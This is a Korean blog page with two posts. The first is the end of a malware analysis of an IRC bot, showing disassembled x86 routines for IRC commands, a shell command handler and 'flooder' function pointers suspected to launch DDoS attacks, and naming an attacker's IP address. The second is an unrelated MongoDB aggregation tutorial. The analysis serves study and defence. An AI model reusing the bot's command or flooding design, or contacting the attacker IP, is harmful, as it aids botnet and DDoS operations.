804a989: mov    %eax,0x8(%esp)
804a98d: movl   $0x80b30e7,0x4(%esp) # "WHO %s"
804a995: mov    0x8(%ebp),%eax
804a998: mov    %eax,(%esp)
804a99b: call   8048342 <Send>
804a9a0: leave  
804a9a1: ret

0804a9a2 <_PING>:
804a9a2: push   %ebp
804a9a3: mov    %esp,%ebp
804a9a5: sub    $0x18,%esp
804a9a8: mov    0x10(%ebp),%eax
804a9ab: mov    %eax,0x8(%esp)
804a9af: movl   $0x80b30ef,0x4(%esp) # "PONG %s"
804a9b7: mov    0x8(%ebp),%eax
804a9ba: mov    %eax,(%esp)
804a9bd: call   8048342 <Send>
804a9c2: leave
804a9c3: ret

0804abd3 <_433>:
804abd3: push   %ebp
804abd4: mov    %esp,%ebp
804abd6: sub    $0x8,%esp
804abd9: mov    0x80d2be4,%eax # nick
804abde: mov    %eax,(%esp)
804abe1: call   8056380 <__cfree>
804abe6: call   804852e <makestring>
804abeb: mov    %eax,0x80d2be4
804abf0: leave  
804abf1: ret

_376, _PING, _433 함수에서는 그다지 긴 설명이 필요없을 듯 하다. IRC protocol에 정의되어있는 명령어인 MODE, JOIN, WHO를 수행할 수 있는 함수이다. 해당 함수에 대한 설명은 IRC protocol을 참고하면 될 것 같다.


_PRIVMSG 함수에서 수행할 수 있는 명령은 아래의 세가지였다.


804a5e3: c7 44 24 04 70 30 0b movl   $0x80b3070,0x4(%esp) # "IRC"

804a646: c7 44 24 04 79 30 0b movl   $0x80b3079,0x4(%esp) # "SH"

804a8f4: ff d1                 call   *%ecx


이 중에서 마지막 function pointer 관련된 부분을 보자.

:PRIVMSG30
804a8ac: mov    -0x10(%ebp),%eax
804a8af: mov    0x80d00c0(,%eax,8),%edx # flooders structure object
804a8b6: lea    -0x450(%ebp),%eax
804a8bc: mov    %eax,0x4(%esp)
804a8c0: mov    %edx,(%esp)
804a8c3: call   80599b0 <__strcasecmp>
804a8c8: test   %eax,%eax
804a8ca: jne    804a91c <_PRIVMSG+0x496> # goto :PRIVMSG27
804a8cc: mov    -0x10(%ebp),%eax
804a8cf: mov    0x80d00c4(,%eax,8),%ecx
804a8d6: mov    -0x14(%ebp),%eax
804a8d9: lea    -0x1(%eax),%edx
804a8dc: lea    -0x50(%ebp),%eax
804a8df: mov    %eax,0xc(%esp)
804a8e3: mov    %edx,0x8(%esp)
804a8e7: mov    0xc(%ebp),%eax
804a8ea: mov    %eax,0x4(%esp)
804a8ee: mov    0x8(%ebp),%eax
804a8f1: mov    %eax,(%esp)
804a8f4: call   *%ecx
804a8f6: movl   $0x1,-0x20(%ebp)
804a8fd: jmp    804a912 <_PRIVMSG+0x48c> # goto :PRIVMSG28

이 부분은 위에서 설명했던 function pointer를 이용한 함수 호출과 같은 원리다. 여기서 어떤 함수가 호출될지는 모른다. 그렇지만 flooders라는 structure object의 이름으로 보아 DDoS 공격을 수행하는 함수를 호출하지 않을까 싶다. (분석보고서 답지 않게 추측의 성향이 너무 강하다고 생각되나 공격자IP(200.156.100.119)로의 연결도 불가능한 상태이고 오로지 assembly code만 보고 분석한 결과라 추측할 수 밖에 없다고 생각한다.) ELF header 부분에서 수행 가능한 함수를 모두 봤을 때 이 부분에서 수행된다고 추정되는 함수는 아래와 같다.


1471: 08049b83   905 FUNC    GLOBAL DEFAULT    3 tsunami

1347: 080494c8   686 FUNC    GLOBAL DEFAULT    3 udp


=======================================================================


위 부분을 마지막으로 분석을 접었었다. 어떠한 툴도 사용하지 않고 100% TEXT로 된 Assembly Code로만 분석을 하려다보니까 한계를 조금 많이 느꼈었다. 참조하는 메모리 영역의 값을 알수 없다는 것이 가장 컸다. 위 부분에 대한 추가적인 분석은 아직 하지 않았다. 하지만 IRC 서버 구축을 통해 조금이나마 더 자세한 분석을 혹은 가이드를 해보려고 한다.


다음 포스팅에서 계속 하겠다.


Posted by 빛나유

댓글을 달아 주세요

이번 포스팅에서는 MongoDB의 aggregation에 대해 설명해보도록 하겠다. 물론 이 부분도 앞에서 설명했었던 CRUD처럼 각각의 모든 함수의 사용법을 열거하지 않을 것이다. 그럴 필요도 없다고 생각하고(왜냐면 MongoDB Reference 그 이상을 하기 힘들 것 같으므로), 그래서도 안 된다. 각자 공부하는 습관을 들여야 하고 스스로 학습하는 연습을 해야한다.


먼저 aggregation이 무엇인지부터 설명해보자. 보통 aggregation이라고 하면 종합, 집합.. 이 정도의 뜻으로 해석할 수 있다. 무슨 말인가... 즉, 데이터를 가지고 종합적으로 계산된 결과물을 내겠다는 것이다. 합계를 구하는 sum(), 평균을 구하는 avg() 등등이 모두 일종의 aggregation이다. 조금 더 MongoDB의 개념에 입각해서 말해보면, documents들의 value들을 기반으로 어떠한.. 계산된 결과물 등을 만들어 내는 과정이라고 보면 된다.


보통 MongoDB에서 aggregation은 다음의 세 가지 방법을 통해 가능하다.

1. Aggregation Pipeline

2. Mapreduce

3. Single aggregation operation


먼저 Aggregation pipeline부터 설명해보자. 우선, pipeline이 무엇인가? Linux 명령어에 익숙한 사람들은 이 개념이 어렵지 않을 것이다. 한 작업에 대한 output이 다음 작업에 대한 Input으로 넘어가도록 하기위한 것이다. 우리에게 조금 더 친숙한 linux 명령어를 보자.


bash> history 100 | grep mongo


위의 명령어는 history 100과 grep mongo로 이루어져있는데, 앞의 명령어를 수행하면 최근에 수행한 100개의 명령어가 output으로 나올 것이며 그것에 대해서 grep mongo를 한다. 즉, history 100의 output에서 mongo라는 문자열을 찾는 명령어가 된다.



MongoDB에서의 aggregation pipeline도 마찬가지다. 가령, 아래의 명령어를 보자.


3번, 4번 라인에 있는 명령어가 무엇을 의미하는지는 아직은 생각하지 말자. 지금은 그저, 3번 라인의 output이 4번 라인의 input으로 넘어가고, 4번 라인이 수행되어 나오는 output이 (다음 명령어는 없으므로) return 되는 것이다.


간단하게 위의 명령어를 조금 설명해보면, 아래와 같다. 


3번라인 : orders collection에서 status가 A인 것만 고른다. 

4번라인 : 3번라인의 결과물에 대하여 cust_id 값으로 분류한 후, 각 cust_id의 price를 합한다.


4번의 결과물을 cursor형태로 return한다.(cursor가 무엇인지는 앞의 MongoDB CRUD에 대한 포스팅에서 잘 설명해놨다.)


이와 같이 $match, $group과 같은 operation을 우리는 aggregation pipeline operator라고 하고 $match, $group 이 외의 pipeline operator는 아래와 같이 있다.


Name              Description

$group            Groups input documents by a specified identifier expression and applies the accumulator expression(s), if specified, to each group. Consumes all input documents and outputs one document per each distinct group. The output documents only contain the identifier field and, if specified, accumulated fields.

$limit               Passes the first n documents unmodified to the pipeline where n is the specified limit. For each input document, outputs either one document (for the first n documents) or zero documents (after the first n documents).

$match            Filters the document stream to allow only matching documents to pass unmodified into the next pipeline stage. $match uses standard MongoDB queries. For each input document, outputs either one document (a match) or zero documents (no match).

$out                Writes the resulting documents of the aggregation pipeline to a collection. To use the $out stage, it must be the last stage in the pipeline.

$skip               Skips the first n documents where n is the specified skip number and passes the remaining documents unmodified to the pipeline. For each input document, outputs either zero documents (for the first n documents) or one document (if after the first n documents).

$sort               Reorders the document stream by a specified sort key. Only the order changes; the documents remain unmodified. For each input document, outputs one document.

$redact            Reshapes each document in the stream by restricting the content for each document based on information stored in the documents themselves. Incorporates the functionality of $project and $match. Can be used to implement field level redaction. For each input document, outputs either one or zero document.

$geoNear         Returns an ordered stream of documents based on the proximity to a geospatial point. Incorporates the functionality of $match, $sort, and $limit for geospatial data. The output documents include an additional distance field and can include a location identifier field.

$project           Reshapes each document in the stream, such as by adding new fields or removing existing fields. For each input document, outputs one document.

$unwind           Deconstructs an array field from the input documents to output a document for each element. Each output document replaces the array with an element value. For each input document, outputs n documents where n is the number of array elements and can be zero for an empty array.


위의 내용은 MongoDB Manual을 그대로 복사한 내용이다. 다시 한번 말하지만, 위의 사용법을 일일이 설명하지는 않겠다. 각자 공부하는 습관을 들여보자.


MongoDB Aggregation에 이어 Mapreduce를 공부해보자. 우선 Mapreduce라는 개념부터 알아야 한다. mapreduce는 일반적으로 mapper function과 reducer function이 있다. 우선 mapper function과 reducer function을 아래의 예를 통해서 이해해보자.


아래의 그림은 가장 왼쪽에 있는 dataset을 status로 분류하여 각각의 합을 구하는 작업을 mapreduce를 통해 해봤을 경우를 표현한다.


위의 그림을 보면, mapper function에 의해서 각각 A, B, C status로 묶이는 것을 알 수 있다. 이와 같이 특정 값으로 분류하는 과정을 mapper function이 한다. mapper function에 의해 status A는 100과 400이 모여있고, B는 200과 500, C는 300만 있다. 이 상태에서 reducer function을 통해 각 status의 합을 구한다. 

100 + 400 = 500

200 + 500 = 700

300 = 300


위의 데이터에 대해서 mapreduce를 실제로 수행해보자.


python을 통해 실행 시 위와 같은 결과를 얻을 수 있다.


mapreduce에 대한 설명이 위로는 부족하다면 아래의 비디오를 보자.

https://www.youtube.com/watch?v=bcjSe0xCHbE

https://www.youtube.com/watch?v=qPATE6BBIQs

영어로 된 비디오지만, 충분히 시각적으로 이해가 가능하다.


참고로, MongoDB에서 mapreduce의 performance는 다른 NoSQL에서의 mapreduce보다 조금 느리다고 하니 참고하길 바란다.


Single aggregation operation에는 크게 세가지 함수가 있다고 보면 된다.(MongoDB Manual에 세가지 소개되어있다.)

count(), distinct(), group이다.


count()와 distinct는 직관적으로 이해가 되듯, 각각 세는 함수와 고유의 값을 return하는 함수이다. 아래의 예를 보자.


count()의 결과값은 단순 integer형이고 distinct의 결과값은 하나의 배열이 return된다.

Single aggregation operation에서 group함수는 조금 쓰임이 복잡하다. 그래도 mapreduce를 이해한 사람이라면 쉽게 이해 가능하다.


count를 이용한 status:"A"를 셌던 결과와 같은 결과값을 가질 수 있다. 


이 정도면 어느 정도 MongoDB의 aggregation 관련하여 개념적인 설명은 다했다고 생각한다.다음 포스팅에서는 몇몇 실 예제를 통하여 다시 한번 개념을 되세겨 보도록 하자.


Reference :

http://docs.mongodb.org/manual/reference/operator/aggregation/




Posted by 빛나유

댓글을 달아 주세요